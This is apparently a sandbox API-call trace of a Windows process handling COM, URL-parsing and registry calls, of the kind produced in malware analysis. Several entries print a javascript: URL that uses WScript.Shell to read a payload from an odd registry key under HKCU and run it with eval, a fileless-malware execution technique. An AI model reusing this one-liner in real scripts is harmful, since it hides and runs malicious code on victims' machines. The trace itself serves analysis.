[0030.497] IUnknown:AddRef (This=0x4cc68c) returned 0xb [0030.497] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf720 | out: ppvObject=0x3cf720*=0x4cc68c) returned 0x0 [0030.497] IUnknown:Release (This=0x4cc68c) returned 0xb [0030.497] IUnknown:AddRef (This=0x4cc68c) returned 0xc [0030.497] IUnknown:Release (This=0x4cc68c) returned 0xb [0030.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4b4170 [0030.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb4) returned 0x4e0fa8 [0030.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x30) returned 0x4bd788 [0030.497] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf7a4 | out: pdwScheme=0x3cf7a4*=0xf) returned 0x0 [0030.497] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf7ac | out: ppvObject=0x3cf7ac*=0x4cc68c) returned 0x0 [0030.497] IUnknown:Release (This=0x4cc68c) returned 0xb [0030.497] IUnknown:AddRef (This=0x4cc68c) returned 0xc [0030.497] IUnknown:Release (This=0x4cc68c) returned 0xb [0030.498] IUri:IsEqual (in: This=0x4cbe1c, pUri=0x4cc68c, pfEqual=0x3cf7ec | out: pfEqual=0x3cf7ec*=1) returned 0x0 [0030.498] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4de6e8 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c37a8 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4e11e8 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x30) returned 0x4bd7f8 [0030.498] PostMessageW (hWnd=0x3026a, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12c) returned 0x4e1250 [0030.498] IUnknown:AddRef (This=0x4cc68c) returned 0xc [0030.498] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf740 | out: ppvObject=0x3cf740*=0x4cc68c) returned 0x0 [0030.498] IUnknown:Release (This=0x4cc68c) returned 0xc [0030.498] IUnknown:AddRef (This=0x4cc68c) returned 0xd [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4de740 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x68) returned 0x4e1388 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x108) returned 0x4e13f8 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf4e0 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xcc) returned 0x4cd328 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf510 [0030.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4bd830 [0030.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1b0) returned 0x4e1508 [0030.499] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf444 | out: ppvObject=0x3cf444*=0x4cc68c) returned 0x0 [0030.499] IUnknown:Release (This=0x4cc68c) returned 0xd [0030.499] IUnknown:AddRef (This=0x4cc68c) returned 0xe [0030.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.499] IUnknown:AddRef (This=0x4cc68c) returned 0xf [0030.499] IUnknown:AddRef (This=0x4cc68c) returned 0x10 [0030.499] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf438 | out: ppvObject=0x3cf438*=0x4cc68c) returned 0x0 [0030.499] IUnknown:Release (This=0x4cc68c) returned 0x10 [0030.499] IUnknown:AddRef (This=0x4cc68c) returned 0x11 [0030.499] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x4e1610 | out: pdwScheme=0x4e1610*=0xf) returned 0x0 [0030.499] IMoniker:IsSystemMoniker (in: This=0x4b0638, pdwMksys=0x3cf4a0 | out: pdwMksys=0x3cf4a0*=0x6) returned 0x0 [0030.509] IUri:GetSchemeName (in: This=0x4cc68c, pbstrSchemeName=0x3cf3f8 | out: pbstrSchemeName=0x3cf3f8*="javascript") returned 0x0 [0030.509] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0030.509] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf444 | out: pdwScheme=0x3cf444*=0xf) returned 0x0 [0030.509] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf404 | out: ppvObject=0x3cf404*=0x4cc68c) returned 0x0 [0030.509] IUnknown:Release (This=0x4cc68c) returned 0x11 [0030.509] IUnknown:AddRef (This=0x4cc68c) returned 0x12 [0030.509] CoInternetQueryInfo (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0x3cf434, cbBuffer=0x4, pcbBuffer=0x3cf42c, dwReserved=0x0 | out: pvBuffer=0x3cf434*, pcbBuffer=0x3cf42c*=0x4) returned 0x0 [0030.509] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf2bc | out: ppv=0x3cf2bc*=0x73888d20) returned 0x0 [0030.510] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf3a8 | out: ppvObject=0x3cf3a8*=0x73888d2c) returned 0x0 [0030.510] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.512] CoInternetParseUrl (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=0x13, dwFlags=0x0, pszResult=0x3cd368, cchResult=0x1000, pcchResult=0x3cd364, dwReserved=0x0 | out: pszResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pcchResult=0x3cd364) returned 0x0 [0030.512] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cd1f8 | out: ppv=0x3cd1f8*=0x73888d20) returned 0x0 [0030.512] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cd2e4 | out: ppvObject=0x3cd2e4*=0x73888d2c) returned 0x0 [0030.512] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.512] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=19, dwParseFlags=0x0, pwzResult=0x3cd368, cchResult=0x1000, pcchResult=0x3cd364, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cd364*=0x0) returned 0x800c0011 [0030.512] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.512] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ppu=0x3cd334 | out: ppu=0x3cd334) returned 0x0 [0030.514] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.514] IUnknown:Release (This=0x4cc68c) returned 0x11 [0030.514] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf444 | out: ppvObject=0x3cf444*=0x4cc68c) returned 0x0 [0030.515] IUnknown:Release (This=0x4cc68c) returned 0x11 [0030.515] IUnknown:AddRef (This=0x4cc68c) returned 0x12 [0030.515] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4de798 [0030.515] GetCurrentThreadId () returned 0x664 [0030.515] CreateBindCtx (in: reserved=0x0, ppbc=0x3cf488 | out: ppbc=0x3cf488*=0x4df5e0) returned 0x0 [0030.515] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xc) returned 0x4e07b8 [0030.515] IUnknown:AddRef (This=0x4df5e0) returned 0x2 [0030.515] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1c) returned 0x4d4d48 [0030.515] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf36c | out: phkResult=0x3cf36c*=0x198) returned 0x0 [0030.515] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf370 | out: phkResult=0x3cf370*=0x134) returned 0x0 [0030.515] RegOpenKeyExW (in: hKey=0x134, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf32c | out: phkResult=0x3cf32c*=0x0) returned 0x2 [0030.515] RegOpenKeyExW (in: hKey=0x198, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf32c | out: phkResult=0x3cf32c*=0x1a0) returned 0x0 [0030.516] SHRegGetValueW () returned 0x2 [0030.516] SHRegGetValueW () returned 0x2 [0030.516] RegCloseKey (hKey=0x1a0) returned 0x0 [0030.516] RegCloseKey (hKey=0x0) returned 0x6 [0030.516] RegCloseKey (hKey=0x0) returned 0x6 [0030.516] RegCloseKey (hKey=0x198) returned 0x0 [0030.516] RegCloseKey (hKey=0x134) returned 0x0 [0030.516] RegisterBindStatusCallback (in: pBC=0x4df5e0, pBSCb=0x4e1518, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0030.516] IUnknown:AddRef (This=0x4e1518) returned 0x4 [0030.516] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3cf3d4 | out: ppvObject=0x3cf3d4*=0x4e151c) returned 0x0 [0030.517] IMoniker:RemoteBindToStorage (in: This=0x4b0638, pbc=0x4df5e0, pmkToLeft=0x0, riid=0x7347f8b0, ppvObj=0x3cf420 | out: ppvObj=0x3cf420*=0x0) returned 0x401e8 [0030.517] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cef58 | out: ppv=0x3cef58*=0x73888d20) returned 0x0 [0030.517] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf044 | out: ppvObject=0x3cf044*=0x73888d2c) returned 0x0 [0030.517] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.517] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x4e1fa0, cchResult=0x824, pcchResult=0x3cf358, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cf358*=0x0) returned 0x800c0011 [0030.517] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.518] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x7506ad24*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0x3cf2e8 | out: ppvObject=0x3cf2e8*=0x4e1518) returned 0x0 [0030.518] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0x4e1518, grfBINDF=0x4e1fe4, pbindinfo=0x4e2094, pstgmed=0x4e1fe8, grfBINDF2=0x3cf334, pdwReserved=0x80004005 | out: grfBINDF=0x4e1fe4*=0x83, pbindinfo=0x4e2094, pstgmed=0x4e1fe8, grfBINDF2=0x3cf334*=0x0, pdwReserved=0x80004005) returned 0x0 [0030.518] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf208 | out: phkResult=0x3cf208*=0x134) returned 0x0 [0030.518] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf20c | out: phkResult=0x3cf20c*=0x198) returned 0x0 [0030.518] RegOpenKeyExW (in: hKey=0x198, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf1c8 | out: phkResult=0x3cf1c8*=0x0) returned 0x2 [0030.518] RegOpenKeyExW (in: hKey=0x134, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf1c8 | out: phkResult=0x3cf1c8*=0x0) returned 0x2 [0030.518] RegCloseKey (hKey=0x0) returned 0x6 [0030.518] RegCloseKey (hKey=0x0) returned 0x6 [0030.518] RegCloseKey (hKey=0x134) returned 0x0 [0030.518] RegCloseKey (hKey=0x198) returned 0x0 [0030.518] IUnknown:Release (This=0x4e1518) returned 0x5 [0030.518] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf2b0 | out: ppvObject=0x3cf2b0*=0x0) returned 0x80004002 [0030.519] IServiceProvider:QueryService (in: This=0x4e151c, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf2b0 | out: ppvObject=0x3cf2b0*=0x0) returned 0x80004002 [0030.519] GetCurrentThreadId () returned 0x664 [0030.519] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf1fc | out: ppv=0x3cf1fc*=0x73888d20) returned 0x0 [0030.519] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.520] IBindStatusCallback:OnStartBinding (This=0x4e1518, dwReserved=0xff, pib=0x4e1fa0) returned 0x0 [0030.520] IUnknown:AddRef (This=0x4e1fa0) returned 0x2 [0030.520] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.520] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf1c0 | out: ppvObject=0x3cf1c0*=0x0) returned 0x80004002 [0030.520] IServiceProvider:QueryService (in: This=0x4e151c, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf1c0 | out: ppvObject=0x3cf1c0*=0x0) returned 0x80004002 [0030.520] GetCurrentThreadId () returned 0x664 [0030.521] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf1d0 | out: ppv=0x3cf1d0*=0x73888d20) returned 0x0 [0030.521] IClassFactory:CreateInstance (in: This=0x73888d20, pUnkOuter=0x4e2108, riid=0x7505482c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4e212c | out: ppvObject=0x4e212c*=0x4e29b8) returned 0x0 [0030.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x98) returned 0x4e29b8 [0030.528] IUnknown_QueryService (in: punk=0x4e2108, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0x3cf200 | out: ppvOut=0x3cf200*=0x4d3cc4) returned 0x0 [0030.528] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3cf0a8 | out: ppvObject=0x3cf0a8*=0x0) returned 0x80004002 [0030.528] IServiceProvider:QueryService (in: This=0x4e151c, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3cf0a8 | out: ppvObject=0x3cf0a8*=0x4d3cc4) returned 0x0 [0030.528] GetCurrentThreadId () returned 0x664 [0030.532] IUnknown:QueryInterface (in: This=0x4e29b8, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4e2190 | out: ppvObject=0x4e2190*=0x4e29cc) returned 0x0 [0030.532] IUnknown:AddRef (This=0x4e2108) returned 0x7 [0030.532] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.532] IUnknown:Release (This=0x4e29cc) returned 0x6 [0030.532] IUnknown:Release (This=0x4e2108) returned 0x6 [0030.533] IUnknown:AddRef (This=0x4e29cc) returned 0x7 [0030.533] IUnknown:AddRef (This=0x4e2108) returned 0x7 [0030.533] IUnknown:Release (This=0x4e29cc) returned 0x6 [0030.533] IUnknown:Release (This=0x4e2108) returned 0x6 [0030.533] IUnknown:QueryInterface (in: This=0x4e29cc, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf2ac | out: ppvObject=0x3cf2ac*=0x4e2118) returned 0x0 [0030.533] IUnknown:QueryInterface (in: This=0x4e2108, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf2ac | out: ppvObject=0x3cf2ac*=0x4e2118) returned 0x0 [0030.533] IUnknown:QueryInterface (in: This=0x4e29b8, riid=0x75066b00*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x3cf2b8 | out: ppvObject=0x3cf2b8*=0x0) returned 0x80004002 [0030.535] IUnknown:AddRef (This=0x4e2108) returned 0x8 [0030.535] CoInternetParseUrl (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=0x13, dwFlags=0x0, pszResult=0x3cd278, cchResult=0x1000, pcchResult=0x3cd260, dwReserved=0x0 | out: pszResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pcchResult=0x3cd260) returned 0x0 [0030.535] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cd0f4 | out: ppv=0x3cd0f4*=0x73888d20) returned 0x0 [0030.535] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cd1e0 | out: ppvObject=0x3cd1e0*=0x73888d2c) returned 0x0 [0030.535] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.535] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=19, dwParseFlags=0x0, pwzResult=0x3cd278, cchResult=0x1000, pcchResult=0x3cd260, dwReserved=0x0 | out: pwzResult="퍤<", pcchResult=0x3cd260*=0x3cd364) returned 0x800c0011 [0030.535] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xce) returned 0x4cd838 [0030.536] IUnknown:Release (This=0x4df5e0) returned 0x2 [0030.536] IUnknown:Release (This=0x4cc68c) returned 0x17 [0030.536] IUnknown:Release (This=0x4cc68c) returned 0x16 [0030.536] IUnknown:Release (This=0x4cc68c) returned 0x15 [0030.536] CoTaskMemFree (pv=0x0) [0030.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1a8) returned 0x4e2a58 [0030.536] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3cf6f8 | out: lpCPInfo=0x3cf6f8) returned 1 [0030.536] IUnknown:AddRef (This=0x4cee70) returned 0x3 [0030.536] IUnknown:AddRef (This=0x4cc68c) returned 0x16 [0030.536] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf700 | out: ppvObject=0x3cf700*=0x4cc68c) returned 0x0 [0030.536] IUnknown:Release (This=0x4cc68c) returned 0x16 [0030.536] IUnknown:AddRef (This=0x4cc68c) returned 0x17 [0030.536] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf704 | out: pdwScheme=0x3cf704*=0xf) returned 0x0 [0030.536] IUnknown:Release (This=0x4cee70) returned 0x2 [0030.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x4e2c08 [0030.536] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x154 [0030.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7347e718, lpParameter=0x4e2c08, dwCreationFlags=0x0, lpThreadId=0x4e2c1c | out: lpThreadId=0x4e2c1c*=0x180) returned 0x134 [0030.537] GetCurrentThreadId () returned 0x664 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x16 [0030.538] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0030.538] IUnknown:Release (This=0x4b0638) returned 0x3 [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 